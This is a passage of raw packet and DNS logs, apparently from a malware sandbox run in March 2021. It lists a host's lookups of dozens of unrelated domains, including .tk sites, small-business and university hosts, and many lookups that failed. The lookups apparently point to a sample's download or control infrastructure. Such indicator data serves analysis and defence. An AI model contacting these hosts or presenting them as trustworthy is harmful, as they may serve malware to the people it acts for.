                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:58.004417896 CET5212353192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:58.021042109 CET53521238.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:58.144942999 CET5613053192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:58.488719940 CET53561308.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:58.935765982 CET5633853192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:58.947870970 CET53563388.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:06.440789938 CET5942053192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:06.461658001 CET53594208.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.698436022 CET5878453192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.739108086 CET53587848.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:24.076082945 CET6397853192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:25.116372108 CET6397853192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:26.102615118 CET53639788.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:28.107440948 CET53639788.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:34.875869036 CET6293853192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:34.890038013 CET53629388.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:37.337784052 CET5570853192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:37.352466106 CET53557088.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:47.296279907 CET5680353192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:47.315347910 CET53568038.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:47.443264008 CET5714553192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:47.910969019 CET53571458.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.077930927 CET5535953192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.100944996 CET53553598.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.227910042 CET5830653192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.261288881 CET53583068.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.423866034 CET6412453192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.607053995 CET53641248.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:49.017832994 CET4936153192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:50.071000099 CET4936153192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.041212082 CET53493618.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.176731110 CET6315053192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.192965984 CET53631508.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.344537020 CET5327953192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.420001030 CET53532798.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:52.099946022 CET53493618.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:52.637644053 CET5688153192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:52.689552069 CET53568818.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:52.863046885 CET5364253192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:52.893091917 CET53536428.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.022752047 CET5566753192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.059549093 CET53556678.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.402833939 CET5483353192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.472326040 CET53548338.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.748375893 CET6247653192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.977325916 CET53624768.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.133033991 CET4970553192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.166474104 CET53497058.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.502516031 CET6147753192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.523133039 CET53614778.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.852061987 CET6163353192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.890271902 CET53616338.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.022893906 CET5594953192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.153099060 CET53559498.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.288775921 CET5760153192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.324754953 CET53576018.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.587317944 CET4934253192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.622476101 CET53493428.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.820415020 CET5625353192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:57.031290054 CET53562538.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:01.209589005 CET4966753192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:01.341825962 CET53496678.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.087533951 CET5543953192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.109700918 CET53554398.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.321726084 CET5706953192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.368680954 CET53570698.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.700107098 CET5765953192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.730938911 CET53576598.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.024766922 CET5471753192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.104321003 CET53547178.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.443839073 CET6397553192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.478573084 CET53639758.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.107847929 CET5663953192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.149247885 CET53566398.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.763767958 CET5185653192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.791301012 CET53518568.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.419612885 CET5654653192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.494594097 CET53565468.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:07.048662901 CET6215253192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:07.086400986 CET53621528.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:08.185355902 CET5347053192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:08.200344086 CET53534708.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:09.390420914 CET5644653192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:09.638479948 CET53564468.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:10.228991985 CET5963153192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:10.287127018 CET53596318.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:10.771015882 CET5551553192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:10.783850908 CET53555158.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:11.207396030 CET6454753192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:11.220027924 CET53645478.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:11.888783932 CET5175953192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:11.901598930 CET53517598.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:12.738909960 CET5920753192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:12.753437996 CET53592078.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:13.146879911 CET5426953192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:13.162278891 CET53542698.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:13.215492964 CET5485653192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:13.330108881 CET53548568.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:20.974904060 CET6414053192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:21.001511097 CET53641408.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:34.500751972 CET6227153192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:34.534657955 CET53622718.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:34.658795118 CET5740453192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:34.695596933 CET53574048.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:34.882411003 CET6299753192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.216556072 CET53629978.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.347034931 CET5771253192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.380985022 CET53577128.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.525616884 CET6006553192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.554609060 CET53600658.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.676620007 CET5506853192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.727410078 CET53550688.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:30.075602055 CET6470053192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:30.088582993 CET53647008.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:30.209881067 CET6199853192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:30.280991077 CET53619988.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:51.598067999 CET5372453192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:51.727164030 CET53537248.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:51.863172054 CET5232853192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:51.878603935 CET53523288.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.069842100 CET5805153192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.082288027 CET53580518.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:53.518030882 CET6413053192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:53.531480074 CET53641308.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:06.208226919 CET5049153192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:06.234164000 CET53504918.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:06.556349039 CET5300453192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:06.582344055 CET53530048.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:07.236481905 CET5252953192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:07.264394999 CET53525298.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:07.644921064 CET5365653192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:07.658359051 CET53536568.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:07.830286980 CET6272453192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:07.858303070 CET53627248.8.8.8192.168.2.3

                                                                                                                                                                                                                                                                                                    ICMP Packets

                                                                                                                                                                                                                                                                                                    TimestampSource IPDest IPChecksumCodeType
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:28.107562065 CET192.168.2.38.8.8.8d00d(Port unreachable)Destination Unreachable
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:52.100020885 CET192.168.2.38.8.8.8cff4(Port unreachable)Destination Unreachable

                                                                                                                                                                                                                                                                                                    DNS Queries

                                                                                                                                                                                                                                                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.359564066 CET192.168.2.38.8.8.80xac0dStandard query (0)iransun.netA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.927295923 CET192.168.2.38.8.8.80x4202Standard query (0)inicc.yucatan.gob.mxA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:13.492507935 CET192.168.2.38.8.8.80x8a03Standard query (0)mobilityclassifieds.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:34.734528065 CET192.168.2.38.8.8.80x600bStandard query (0)goodtimecharlies.bizA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:34.896641016 CET192.168.2.38.8.8.80xe406Standard query (0)levika.plA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:35.084002018 CET192.168.2.38.8.8.80x4571Standard query (0)ecommercecio.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:56.339512110 CET192.168.2.38.8.8.80x5bd0Standard query (0)e8udu6up.coolhandle-customer.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:56.588469028 CET192.168.2.38.8.8.80x7078Standard query (0)getxender.inA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:56.803891897 CET192.168.2.38.8.8.80x6890Standard query (0)free2020.tkA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:56.988109112 CET192.168.2.38.8.8.80x651bStandard query (0)ibhat.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.334347963 CET192.168.2.38.8.8.80x3dd2Standard query (0)www.hugedomains.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:58.004417896 CET192.168.2.38.8.8.80xa519Standard query (0)emprende21.esA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:58.144942999 CET192.168.2.38.8.8.80x2391Standard query (0)krp.unud.ac.idA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.698436022 CET192.168.2.38.8.8.80x43f9Standard query (0)ladiabetesnoesmilimite.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:24.076082945 CET192.168.2.38.8.8.80xa1d8Standard query (0)energieausweis-solingen.deA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:25.116372108 CET192.168.2.38.8.8.80xa1d8Standard query (0)energieausweis-solingen.deA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:47.296279907 CET192.168.2.38.8.8.80xc8b3Standard query (0)ecoenergyefficiency.euA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:47.443264008 CET192.168.2.38.8.8.80x2739Standard query (0)lucianobraga.com.brA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.077930927 CET192.168.2.38.8.8.80xba39Standard query (0)greenerdealz.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.227910042 CET192.168.2.38.8.8.80x555cStandard query (0)le-clainche.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.423866034 CET192.168.2.38.8.8.80x3227Standard query (0)kvnysoho.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:49.017832994 CET192.168.2.38.8.8.80xd2bStandard query (0)ww16.kvnysoho.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:50.071000099 CET192.168.2.38.8.8.80xd2bStandard query (0)ww16.kvnysoho.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.176731110 CET192.168.2.38.8.8.80x67b1Standard query (0)kweebix.frA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.344537020 CET192.168.2.38.8.8.80x9639Standard query (0)gracilarias.orgA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:52.637644053 CET192.168.2.38.8.8.80x11bcStandard query (0)fitness-camp.com.uaA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:52.863046885 CET192.168.2.38.8.8.80xa8f0Standard query (0)homealldaylong.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.022752047 CET192.168.2.38.8.8.80xafffStandard query (0)motorcycle-lawyer-los-angeles468.tkA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.402833939 CET192.168.2.38.8.8.80xb01cStandard query (0)liftingandtransport.ieA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.748375893 CET192.168.2.38.8.8.80x75ddStandard query (0)mp3download.tfaweb.orgA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.133033991 CET192.168.2.38.8.8.80xcdfbStandard query (0)hausessen.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.502516031 CET192.168.2.38.8.8.80xbb8fStandard query (0)www.facebook.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.852061987 CET192.168.2.38.8.8.80x9388Standard query (0)hotel525.tkA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.022893906 CET192.168.2.38.8.8.80x6ec9Standard query (0)healthybloodpressure.infoA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.288775921 CET192.168.2.38.8.8.80xc5a2Standard query (0)lvfrance.frA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.587317944 CET192.168.2.38.8.8.80xe2cdStandard query (0)gamehub.inA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.820415020 CET192.168.2.38.8.8.80xdb50Standard query (0)monarchrentals.co.zaA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:01.209589005 CET192.168.2.38.8.8.80x5bc9Standard query (0)intermountainautoglass.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.087533951 CET192.168.2.38.8.8.80xaf76Standard query (0)fga-agency.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.321726084 CET192.168.2.38.8.8.80xfcd8Standard query (0)epatio.plA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:03.700107098 CET192.168.2.38.8.8.80xf3d4Standard query (0)mobilityconsignment.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.024766922 CET192.168.2.38.8.8.80x25ecStandard query (0)www.mobilityconsignment.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:04.443839073 CET192.168.2.38.8.8.80xcb16Standard query (0)ignitethewinter.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.107847929 CET192.168.2.38.8.8.80x3321Standard query (0)filtryfotograficzne.photho.plA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:05.763767958 CET192.168.2.38.8.8.80x4359Standard query (0)middletons.co.ukA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:13.215492964 CET192.168.2.38.8.8.80x7c1cStandard query (0)mconnect.plA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:34.500751972 CET192.168.2.38.8.8.80xf7c5Standard query (0)free-tv-shows33.tkA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:34.658795118 CET192.168.2.38.8.8.80x984aStandard query (0)kitchensetminimalis.tkA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:34.882411003 CET192.168.2.38.8.8.80x1e97Standard query (0)icsot.na.its.ac.idA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.347034931 CET192.168.2.38.8.8.80xa589Standard query (0)freemoviesonline665.tkA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.525616884 CET192.168.2.38.8.8.80x2fa2Standard query (0)meisinger.plA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.676620007 CET192.168.2.38.8.8.80x67f3Standard query (0)my-web.in.uaA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:30.075602055 CET192.168.2.38.8.8.80x4de5Standard query (0)goodtimecharlies.bizA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:30.209881067 CET192.168.2.38.8.8.80x34c6Standard query (0)levika.plA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:51.598067999 CET192.168.2.38.8.8.80x9036Standard query (0)e8udu6up.coolhandle-customer.comA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:51.863172054 CET192.168.2.38.8.8.80x23e5Standard query (0)getxender.inA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.069842100 CET192.168.2.38.8.8.80x8ddfStandard query (0)free2020.tkA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:53.518030882 CET192.168.2.38.8.8.80x19fbStandard query (0)emprende21.esA (IP address)IN (0x0001)

                                                                                                                                                                                                                                                                                                    DNS Answers

                                                                                                                                                                                                                                                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.505983114 CET8.8.8.8192.168.2.30xac0dNo error (0)iransun.net67.227.226.240A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.950611115 CET8.8.8.8192.168.2.30x4202No error (0)inicc.yucatan.gob.mxweb.yucatan.gob.mxCNAME (Canonical name)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.950611115 CET8.8.8.8192.168.2.30x4202No error (0)web.yucatan.gob.mx187.141.74.3A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:13.513498068 CET8.8.8.8192.168.2.30x8a03No error (0)mobilityclassifieds.com97.74.232.166A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:21.617579937 CET8.8.8.8192.168.2.30x6f00No error (0)prda.aadg.msidentity.comwww.tm.a.prd.aadg.trafficmanager.netCNAME (Canonical name)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:34.761622906 CET8.8.8.8192.168.2.30x600bName error (3)goodtimecharlies.biznonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:34.923624992 CET8.8.8.8192.168.2.30xe406Name error (3)levika.plnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:35.125767946 CET8.8.8.8192.168.2.30x4571No error (0)ecommercecio.com50.63.172.241A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:56.454852104 CET8.8.8.8192.168.2.30x5bd0Name error (3)e8udu6up.coolhandle-customer.comnonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:56.630544901 CET8.8.8.8192.168.2.30x7078Name error (3)getxender.innonenoneA (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.115451097 CET8.8.8.8192.168.2.30x651bNo error (0)ibhat.comHDRedirect-LB7-5a03e1c2772e1c9c.elb.us-east-1.amazonaws.comCNAME (Canonical name)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.115451097 CET8.8.8.8192.168.2.30x651bNo error (0)HDRedirect-LB7-5a03e1c2772e1c9c.elb.us-east-1.amazonaws.com3.223.115.185A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.347119093 CET8.8.8.8192.168.2.30x3dd2No error (0)www.hugedomains.com172.67.70.191A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.347119093 CET8.8.8.8192.168.2.30x3dd2No error (0)www.hugedomains.com104.26.6.37A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.347119093 CET8.8.8.8192.168.2.30x3dd2No error (0)www.hugedomains.com104.26.7.37A (IP address)IN (0x0001)
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:58.021042109 CET8.8.8.8192.168.2.30xa519Name error (3)emprende21.esnonenoneA (IP address)IN (0x0001)
